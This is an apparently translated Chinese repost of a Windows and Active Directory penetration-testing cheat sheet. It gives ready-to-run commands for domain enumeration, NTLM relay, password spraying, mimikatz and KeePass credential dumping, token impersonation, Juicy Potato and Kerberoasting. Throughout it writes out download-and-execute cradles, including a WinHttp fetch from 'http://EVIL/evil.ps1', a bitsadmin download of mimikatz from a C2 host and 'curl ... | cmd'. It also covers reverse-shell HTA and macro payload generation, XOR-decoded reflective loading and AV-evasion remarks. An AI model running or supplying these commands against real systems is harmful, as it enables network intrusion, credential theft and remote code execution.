Hacking Windows 备忘录

Hacking Windows 备忘录

原文传送门



记录一下Windows系统的Notes/Tricks

在此之前不得不说一下海底捞的服务确实好！记得上周去吃海底捞，结账的时候支付宝没钱了，还是服务员帮忙报的警……

这些笔记主要基于其他文章，备忘录和WIKI等。我只是想在这里收录最好的笔记。 很多没必要翻译,大多数都是工具的集合,工具都给你了还不会用,就是自己的问题.

信息收集

Basics

net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"


Get-ADUser
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController 10.10.14.10
Find-DomainShare

## 主机发现
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do  @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL

## DNS反向查询
$ComputerIPAddress = "10.10.14.14"



项目地址:https://github.com/tevora-threat/SharpView

Users with SPN

Get-DomainUser -SPN


Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

Kerberos Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

Red-Team CSharp Scripts

#https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

LDAPUtility.cs

Usage: ldaputility.exe options domain [arguments]

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan 
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan

Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.

See github linked above for full details.

 

Active Directory

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

# 获得当前域名[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# 获得信任域信息
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# 查看域信息
#  查看域信任信息
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v

nltest /dsgetfti:<domain>

nltest /server:<ip_dc> /domain_trusts /all_trusts

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# 查看所有域控
nltest /dclist:offense.local
net group "domain controllers" /domain

# View DC for Current Session
nltest /dsgetdc:m0chanAD.local

# View Domain Trusts from CMD
nltest /domain_trusts

# View User Info from CMD
nltest /user:"m0chan"

#查看缓存的票据信息
klist

# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions


# View Cached Krbtgt
klist tgt

# 老版本的whoami 
set u

#列出所有的用户名
([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAll().Properties.samaccountname

#列出管理员

([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname

#查找特定账户

([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))").FindAll().Properties

#通过描述来查找用户信息

([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.samaccountname : $_.description }

demo: 



AD Enumeration from Linux Box - AD Tool

#https://github.com/jasonwbarnett/linux-adtool

tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
./configure
make
make install

> adtool list ou=user,dc=example,dc=com
CN=allusers,OU=user,DC=example,DC=com
OU=finance,OU=user,DC=example,DC=com
OU=administration,OU=user,DC=example,DC=com

> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail [e-mail]

SharpView Enumeration

#https://github.com/tevora-threat/SharpView

Get-DomainFileServer
Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon

SMB Enumeration

nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
enum4linux 1.3.3.7
smbmap -H 1.3.3.7
smbclient -L \\INSERTIPADDRESS
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]


#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 10.10.14.14

SNMP Enumeration

snmpwalk -c public -v1 10.10.14.14
snmpcheck -t 10.10.14.14 -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
snmpenum -t 10.10.14.14

MySQL Enumeration

nmap -sV -Pn -vv  10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

DNS Zone Transfer

dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

LDAP

ldapsearch -H ldap://<ip>
ldapwhoami

RPC Enumeration

rpcclient -U "10.10.14.14"
srvinfo
enumdomusers
enumalsgroups domain
lookupnames administrators
querydominfo
enumdomusers
queryuser <user>
lsaquery
lookupnames Guest
lookupnames Administrator

Remote Desktop

rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS
hydra
medusa
and so on

File Transfer

TFTP

m0chan Machine
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>

FTP

echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

VBS Script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs



cscript wget.vbs <url> <out_file>

Use echoup function on pentest.ws to generate echo commands.
https://pentest.ws/features

Powershell

#https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename") 

#Powershell Download to Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

#Powershell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));

Powershell Base64

$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")

Secure Copy / pscp.exe

pscp.exe C:\Users\Public\m0chan.txt user@target:/tmp/m0chan.txt
pscp.exe user@target:/home/user/m0chan.txt C:\Users\Public\m0chan.txt

BitsAdmin.exe

cmd.exe /c "bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\mimikatz.exe & start C:\Temp\binary.exe"

Remote Desktop

rdesktop 10.10.10.10 -r disk:linux='/home/user/filetransferout'

WinHTTP Com Object

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

CertUtil

#File Transfer

certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

Curl (Windows 1803+)

curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-xxx

SMB

python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support
Exploit

Exploit

LLMNR / NBT-NS Spoofing

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0



Responder WPAD Attack

responder -I eth0 wpad

mitm6

＃ 在WPAD攻击不起作用时使用，它使用IPv6和DNS将凭据中继到目标。
# By default IPV6 should be enabled. 
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local



ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i 打开一个交互式shell

Shout out to hausec for this super nice tip.

SCF File Attack

创建.scf文件并放入SMB Share内并启动Responder :）
Filename = @m0chan.scf

[Shell]
Command=2
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]
Command=ToggleDesktop

NTLM-Relay

 NTLM/Net-NTLMV1&V2的区别

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

https://payloads.online/archivers/2018-11-30/1#chalengeresponse

PS: You CANNOT relay a hash back to itself.
PS: 必须禁用SMB签名才能会用，您可以使用nmap scan或crackmapexec检查

crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt

这将告诉您子网中未启用SMB签名的主机列表。

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)

我们如何执行命令呢？

ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP

Priv Exchange

#https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Combine privxchange.py and ntlmrelayx

ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE

python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE -d m0chanAD.local

Exchange Password Spray

#https://github.com/dafthack/MailSniper.git

Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter2019


#https://github.com/sensepost/ruler

./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v

ExchangeRelayX

#https://github.com/quickbreach/ExchangeRelayX

An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.


./exchangeRelayx.py -t https://mail.quickbreach.com

Exchange Mailbox Post-Compromise

#https://github.com/dafthack/MailSniper.git

Enumerate GlobalAddressList

Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username [e-mail] -Password Winter2019

Enumerate AD Usernames

Get-ADUsernameFromEWS -Emaillist .\users.txt

Enumerate Mailbox Folders

Get-MailboxFolders -Mailbox [e-mail]

Enumerate Passwords & Credentials Stored in Emails

Invoke-SelfSearch -Mailbox [e-mail]

Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin

Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012

CrackMapExec

CrackMapExec is installed on Kali or get Windows Binary from Github.

Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler

Can execute plain commands with -X flag i/e 

crcakmapexec smb 10.10.14.0/24 -x whoami

crcakmapexec smb 10.10.14.0/24 <- Host Discovery
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' 
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares


Can also PTH with CME

crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305dca15f4854e

cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares 


--local-auth is for Authenticating with Local Admin, good if Organisaton uses same local admin hash through network and not using LAPS

Dump Local SAM hashes

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth --sam

Running Mimikatz 

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz

^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin

Enum AV Products

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M enum_avproducts

Mail Sniper

Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019

[*] Now spraying the OWA portal at https://m0chanAD.local/owa/

[*] SUCCESS! User:m0chan:Summer2019

Kerberos资料

#https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

MSSQL Exploiting (PowerUpSQL)

#https://github.com/NetSPI/PowerUpSQL

#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]

#Login in with Domain Account
Get-SQLConnectionTestThreaded

#Login in with Default Password
Get-SQLServerDefaultLoginPw

#List DB, Tables & Columns

Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>

#Search Column Names for Word

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10

#Try to Execute Commands (RCE)

Invoke-SQLOSCmd


#Enable XP_CMDShell Process

EXEC sp_configure 'show advanced options', 1;  
go  
RECONFIGURE;  
go  
EXEC sp_configure 'xp_cmdshell', 1;  
go  
RECONFIGURE;  
go  
xp_cmdshell '<cmd>'
go

Malicious Macro with MSBuild

#https://github.com/infosecn1nja/MaliciousMacroMSBuild

#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained

Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba

Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018

Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github

WeirdHTA - Undetectable HTA

#https://github.com/felamos/weirdhta

python3 --help
python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell)
python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb)
python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\system32\cmd.exe' (custom command)

EvilWinRM

Ultimate Shell for WinRM Connections

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ]
    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -h, --help                       Display this help message

GetVulnerableGPO

#https://github.com/gpoguy/GetVulnerableGPO

PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setup.zip

Invoke-PSImage

#https://github.com/peewpw/Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
   [Oneliner to execute from a file]


PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
   [Oneliner to execute from the web]

过不了火绒.

Meterpreter + Donut - Shellcode Injection .NET

#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html

A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and interactively!

donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin

use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin
set SESSION 1
run

Privilege Escalation

Reference: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

Run this script: https://github.com/M4ximuss/Powerless/blob/master/Powerless.bat

Basics

systeminfo
wmic qfe
net users
hostname
whoami
net localgroups
echo %logonserver%
netsh firewall show state
netsh firewall show config
netstat -an
type C:\Windows\system32\drivers\etc\hosts

PowerUp.ps1 (Sometimes a Quick Win)

powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChecks

SharpUp

#https://github.com/GhostPack/SharpUp

C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.
If It’s AD Get Bloodhound Imported…

SharpHound.ps1

SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound

IEX(System.Net.WebClient.DownloadString('http://webserver:4444/SharpHound.ps1'))

Invoke-CollectionMethod All

Import .zip to Bloodhound

If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manually. It's a big big pain but it works.

Bloodhound-Python

git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .

bloodhound-python -d m0chanAD.local -u m0chan -p Summer2019 -gc DOMAINCONTROLLER.m0chanAD.local -c all

明文密码

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

查看已安装软件

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

不安全的文件夹权限

Full Permissions for 'Everyone' on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 

Modify Permissions for Everyone on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

定时任务

schtasks /query /fo LIST /v

Powershell 历史记录

type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

查看连接的设备

net use
wmic logicaldisk get caption,description

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

查看权限

whoami /priv

Look for SeImpersonate, SeDebugPrivilege etc

Is Anyone Else Logged In?

qwinsta

查看注册表自动登录

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"


Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

View Stored Creds in Credential Manager

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

查看无引号的服务路径

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

查看启动项

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

Check for AlwaysInstalledElevated Reg Key

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

Any Passwords in Registry?

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

Any Sysrep or Unattend Files Left Over

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

GPP (Group Policy Preferences) Passwords

smbclient //DOMAINCONTROLLER.local/SYSVOL -U m0chan

\m0chanAD.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences\Groups\

http://www.sec-1.com/blog/wp-content/uploads/2015/05/gp3finder_v4.0.zip - For Decryption

Can also use PowerUP.ps1

Dump Chrome Passwords (Also Post Exploit)

#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e 
CookieMonster -a 

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect

Dump KeePass

#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.

令牌模拟

https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"

Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Requires Admin/SYSTEM Privs)

#Tokenvator https://github.com/0xbadjuju/Tokenvator

Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...

$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra

Juicy Potato

#Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)

#Reference https://ohpe.it/juicy-potato/

Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/JuicyPotato.exe','C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Backup\JuicyPotato.exe')

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}

Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD

A CLSID is a GUID that identifies a COM class object

Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc

JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL

Kerberoasting

#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

because Hashcat over John anyday right?

Invoke-Kerberoast.ps1

python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local/serviceaccount

Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py manually.

https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast action

Kerberoast with Python

#https://github.com/skelsec/kerberoast


IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip>
<kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>



Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum

Use ASREP roast against users in the ldapenum_asrep_users.txt file
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

Use SPN roast against users in the ldapenum_spn_users.txt file
